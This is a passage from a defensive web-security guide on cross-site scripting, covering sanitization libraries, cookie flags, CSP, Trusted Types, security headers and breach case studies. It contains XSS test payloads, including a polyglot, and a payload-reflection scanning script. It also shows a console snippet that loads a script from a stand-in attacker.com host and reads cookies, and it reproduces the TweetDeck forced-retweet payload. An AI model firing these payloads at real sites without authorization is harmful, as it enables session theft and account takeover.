  const pattern = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
  return pattern.test(email);
}
[URL Validation]
function validateURL(url) {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol);
  } catch {
    return false;
  }
}

# 4. Sanitization Libraries

RECOMMENDED

[DOMPurify (JavaScript)]
import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: <img src="x">
[Bleach (Python)]
import bleach

allowed_tags = ['p', 'br', 'strong', 'em', 'a']
allowed_attrs = {'a': ['href', 'title']}

clean = bleach.clean(
    user_input,
    tags=allowed_tags,
    attributes=allowed_attrs,
    strip=True
)
[HTML Purifier (PHP)]
<?php
require_once 'HTMLPurifier.auto.php';

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);

$clean_html = $purifier->purify($dirty_html);
?>
[OWASP Java HTML Sanitizer]
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safeHTML = policy.sanitize(untrustedHTML);

# 5. HTTPOnly and Secure Cookie Flags

ESSENTIAL

Prevent JavaScript from accessing cookies:

[Express.js]
// Express.js
res.cookie('session', sessionId, {
  httpOnly: true,    // Prevents JavaScript access
  secure: true,      // Only sent over HTTPS
  sameSite: 'strict' // CSRF protection
});
[Django]
# Django
response.set_cookie(
    'session',
    session_id,
    httponly=True,
    secure=True,
    samesite='Strict'
)
[PHP]
// PHP
setcookie(
    'session',
    $session_id,
    [
        'httponly' => true,
        'secure' => true,
        'samesite' => 'Strict'
    ]
);

# 6. Template Engine Auto-Escaping

FRAMEWORK FEATURE

Most modern template engines auto-escape by default.

[Jinja2 (Python)]
# Auto-escaping enabled by default
from jinja2 import Environment

env = Environment(autoescape=True)
template = env.from_string('<p>{{ user_input }}</p>')
[Handlebars (JavaScript)]
// Auto-escapes by default
const template = Handlebars.compile('<p>{{userInput}}</p>');

// To render raw HTML (dangerous!)
const rawTemplate = Handlebars.compile('<p>{{{userInput}}}</p>');
[EJS (JavaScript)]
<!-- Auto-escapes -->
<p><%= userInput %></p>

<!-- Raw output (dangerous!) -->
<p><%- userInput %></p>

# Detection and Testing

# Manual Testing Payloads

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

# Automated Testing Tools

[Burp Suite Scanner]
1. Configure Burp as proxy
2. Navigate through application
3. Run active scanner
4. Review XSS findings
[OWASP ZAP]
# Command line scan
zap-cli quick-scan -s all -r http://example.com
[XSStrike]
# Advanced XSS detection
python xsstrike.py -u "http://example.com/search?q=test"
[Custom Testing Script]
import requests

target = "http://example.com/search"
payloads = [
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
    "javascript:alert(1)",
    "<iframe src=javascript:alert(1)>",
]

for payload in payloads:
    response = requests.get(target, params={'q': payload})

    if payload in response.text:
        print(f"[VULNERABLE] Payload reflected: {payload}")
    else:
        print(f"[SAFE] Payload blocked or encoded: {payload}")

# Browser Developer Tools Testing

// Open browser console on target site

// Test if script execution is possible
eval("alert('XSS')");

// Test cookie access
console.log(document.cookie);

// Test DOM manipulation
document.body.innerHTML = '<h1>XSS Test</h1>';

// Test external script loading
var script = document.createElement('script');
script.src = 'http://attacker.com/test.js';
document.body.appendChild(script);

# Case Studies

# Case Study 1: MySpace Samy Worm (2005)

WORM ATTACK SOCIAL MEDIA

Attack: Stored XSS worm on MySpace profiles Impact: Over 1 million friend requests in 20 hours Damage: Site taken offline, creator arrested

How it worked:

// Simplified version of Samy worm
<script>
  // Add "Samy is my hero" to profile
  // Send friend request to Samy
  // Copy itself to victim's profile
  // Spread exponentially
</script>

Lesson: Stored XSS can spread virally on social platforms.

# Case Study 2: TweetDeck XSS (2014)

WIDESPREAD TWITTER CLIENT

Attack: Stored XSS in Twitter client Impact: Forced retweets, account takeovers Damage: Service temporarily shut down

Payload:

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();
$('[data-action=retweet]').click();alert('XSS')</script>

Lesson: Even major platforms with security teams can have XSS vulnerabilities.

# Case Study 3: British Airways (2018)

DATA BREACH FINANCIAL LOSS

Attack: XSS leading to credit card theft Impact: 380,000 payment cards compromised Damage: £183 million GDPR fine

Method: Attackers injected malicious JavaScript into BA's payment page, skimming credit card data.

Lesson: XSS can lead to massive data breaches and regulatory fines.

# Case Study 4: eBay Stored XSS (2016)

PHISHING E-COMMERCE

Attack: Stored XSS in product listings Impact: Phishing attacks against eBay users Damage: Reputational harm, user trust issues

Lesson: E-commerce platforms must rigorously validate user-generated content.


# Advanced Defense Techniques

# Trusted Types API

MODERN BROWSER

Modern browsers support Trusted Types to prevent DOM XSS:

// Enable Trusted Types
// Add to CSP: require-trusted-types-for 'script'

// Create a policy
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (string) => {
    // Sanitize string
    return DOMPurify.sanitize(string);
  }
});

// Use trusted types
element.innerHTML = policy.createHTML(userInput);

// This will throw an error:
// element.innerHTML = userInput; // TypeError
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy;

# Subresource Integrity (SRI)

CDN PROTECTION

Protect against compromised CDN scripts:

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>
# Using OpenSSL
curl https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A

# Feature Policy / Permissions Policy

Permissions-Policy: microphone=(), camera=(), geolocation=()

Prevents XSS from accessing sensitive browser features.

# X-XSS-Protection Header

X-XSS-Protection: 1; mode=block

# Security Headers Summary

COMPREHENSIVE PROTECTION

# Comprehensive XSS protection headers
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()

Implementation (Express.js with Helmet):

const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'nonce-{random}'"],
      objectSrc: ["'none'"],
      baseUri: ["'self'"]
    }
  },
  xssFilter: true,
  noSniff: true,
  frameguard: { action: 'deny' }
}));

# Summary: What You Need to Remember

Cross-Site Scripting (XSS) is when hackers inject malicious JavaScript code into trusted websites. When you visit the infected page, the malicious code runs in your browser and can steal your passwords, take over your account, or redirect you to fake websites.

The Simple Version:

  • What it is: Hackers make trusted websites "say" malicious things to your browser (like a ventriloquist attack)
  • Why it's dangerous: Can steal login sessions, record keystrokes, show fake login pages, and perform actions as you
  • How to prevent it: Websites must "escape" user input (convert special characters to safe text) and use Content Security Policy (CSP)

The 3 Types:

  1. Reflected XSS: Click malicious link → Get attacked (medium danger)
  2. Stored XSS: Visit infected page → Get attacked automatically (HIGH danger - affects everyone!)
  3. DOM-Based XSS: Browser's own code creates vulnerability (sneaky!)

Real-World Impact:

  • MySpace Samy Worm (2005): 1 million users infected in 20 hours
  • TweetDeck (2014): Forced retweets and account takeovers
  • British Airways (2018): 380,000 credit cards stolen, £183 million fine

# Quick Protection Checklist

For Website Owners & Developers:

DO Encode/escape all user input before displaying it (the #1 defense!) DO Implement Content Security Policy (CSP) to block unauthorized scripts DO Use HTTPOnly and Secure flags on cookies (prevents JavaScript from stealing them) DO Validate and sanitize user input (only allow expected characters) DO Use template engines with auto-escaping enabled DO Regular security testing and code reviews

DON'T Trust ANY user input - even from "trusted" users! DON'T Display user input as HTML without escaping special characters DON'T Use dangerous functions like innerHTML, document.write, or eval() with user data DON'T Disable auto-escaping in template engines DON'T Allow javascript: or data: URLs in links DON'T Bypass security features like CSP without a very good reason

For Regular Users (How to Protect Yourself):

TIP Don't click suspicious links, even if they seem to go to trusted sites - check the full URL carefully TIP Use a modern browser (Chrome, Firefox, Edge) - they have built-in XSS protection TIP Install browser extensions like uBlock Origin or NoScript for extra protection TIP Be wary of clicking shortened URLs (bit.ly, tinyurl) - they could hide malicious XSS payloads TIP If a website looks strange or shows unexpected popups, close it immediately TIP Enable two-factor authentication - even if session is stolen, your account stays protected


# Tools and Resources

# Testing Tools

# Sanitization Libraries

# Learning Resources


Last updated: November 2025